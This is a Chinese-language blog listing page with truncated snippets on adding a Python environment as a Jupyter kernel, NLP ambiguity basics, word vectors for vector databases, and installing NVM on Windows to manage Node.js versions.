在一些情況下&#xff0c;我們需要自己安裝一個Python&#xff0c;在選擇內核是可能找不到指定的Python版本&#xff0c; 再次打開內核選擇頁面就能看到Python環境了 注意先到指定環境下安裝依賴包&#xff1a; ./python3 pip install ipykernel notebook jupyter

人工智能-NLP簡單知識匯總01

人工智能-NLP簡單知識匯總01 1.1自然語言處理的基本概念 自然語言處理難點&#xff1a; 語音歧義句子切分歧義詞義歧義結構歧義代指歧義省略歧義語用歧義 總而言之&#xff1a;&#xff01;&#xff01;語言無處不歧義 1.2自然語言處理的基本范式 1.2.1基于規則的方法 通…

[DataWhale大模型應用開發]學習筆記1-嘗試搭建向量數據庫

1.詞向量 1.定義 詞向量&#xff08;Word Vector&#xff09;是將單詞表示為向量形式的技術&#xff0c;是自然語言處理&#xff08;NLP&#xff09;中的一種常用方法。通過將單詞轉化為向量&#xff0c;計算機能夠更好地理解和處理語言。簡單來說&#xff0c;詞向量就是將單…

Windows系統安裝NVM,實現Node.js多版本管理

目錄 一、前言 二、NVM簡介 三、準備工作 1、卸載Node 2、創建文件夾 四、下載NVM 五、安裝NVM 六、使用NVM 1、NVM常用操作命令 2、查看NVM版本信息 3、查看Node.js版本列表&#xff1b; 4、下載指定版本Node.js 5、使用指定版本Node.js 6、查看已安裝Node.js列…